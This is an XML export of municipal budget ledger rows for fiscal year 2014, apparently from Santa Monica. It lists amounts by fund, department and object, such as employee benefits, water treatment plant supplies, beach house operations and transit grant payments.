<row _id="7818"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1862.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1862.0</total></row>
<row _id="7819"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>547.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>547.0</total></row>
<row _id="7820"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2161.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2161.0</total></row>
<row _id="7821"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>142654.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>142654.0</total></row>
<row _id="7822"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12167.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12167.0</total></row>
<row _id="7823"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>84506.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>84506.0</total></row>
<row _id="7824"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>417.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>417.0</total></row>
<row _id="7825"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1913.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1913.0</total></row>
<row _id="7826"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1838.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1838.0</total></row>
<row _id="7827"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>25250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25250.0</total></row>
<row _id="7828"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>517208.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>517208.0</total></row>
<row _id="7829"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>24900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24900.0</total></row>
<row _id="7830"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3504.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3504.0</total></row>
<row _id="7831"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>72733.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72733.0</total></row>
<row _id="7832"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-29430.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-29430.0</total></row>
<row _id="7833"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29902.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29902.0</total></row>
<row _id="7834"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577762.0</object><object_description>CDBG REIMB-PUBLIC WORKS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>65000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>65000.0</total></row>
<row _id="7835"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>404870.0</object><object_description>1665 OCEAN AVE PKG LOT</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7836"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="7837"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>566024.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>566024.0</total></row>
<row _id="7838"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544014.0</object><object_description>FILTER MEDIA REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1211280.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1211280.0</total></row>
<row _id="7839"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544016.0</object><object_description>ANALYTICAL INSTR CONSUMABLES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="7840"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8867.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8867.0</total></row>
<row _id="7841"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>552.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>552.0</total></row>
<row _id="7842"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>47152.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>47152.0</total></row>
<row _id="7843"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2200.0</total></row>
<row _id="7844"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>124900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>124900.0</total></row>
<row _id="7845"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>545010.0</object><object_description>AQUATIC SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="7846"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>545030.0</object><object_description>CULTURAL SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="7847"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>98135.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>98135.0</total></row>
<row _id="7848"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>74757.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>74757.0</total></row>
<row _id="7849"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4823.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4823.0</total></row>
<row _id="7850"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3802.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3802.0</total></row>
<row _id="7851"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>90000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>90000.0</total></row>
<row _id="7852"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>533710.0</object><object_description>SOFTWARE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="7853"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="7854"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>238811.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>238811.0</total></row>
<row _id="7855"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>569360.0</object><object_description>INNOVATIONS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>16400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16400.0</total></row>
<row _id="7856"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1040.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1040.0</total></row>
<row _id="7857"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>31222.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31222.0</total></row>
<row _id="7858"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>563123.0</object><object_description>PARATRANSIT PROGRAM-PROP A LR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>192711.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>192711.0</total></row>
<row _id="7859"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579330.0</object><object_description>TRANSFER IN FROM GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-446791.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-446791.0</total></row>
<row _id="7860"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561115.0</object><object_description>OPCC SAFE HAVEN-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="7861"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561119.0</object><object_description>OPCC SOJOURN - PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="7862"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2578.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2578.0</total></row>
<row _id="7863"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400860.0</object><object_description>ST GAS TAX APPORTIONMENT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-2395940.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2395940.0</total></row>
<row _id="7864"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409002.0</object><object_description>CHILDCARE-OCTOBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-35467.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35467.0</total></row>
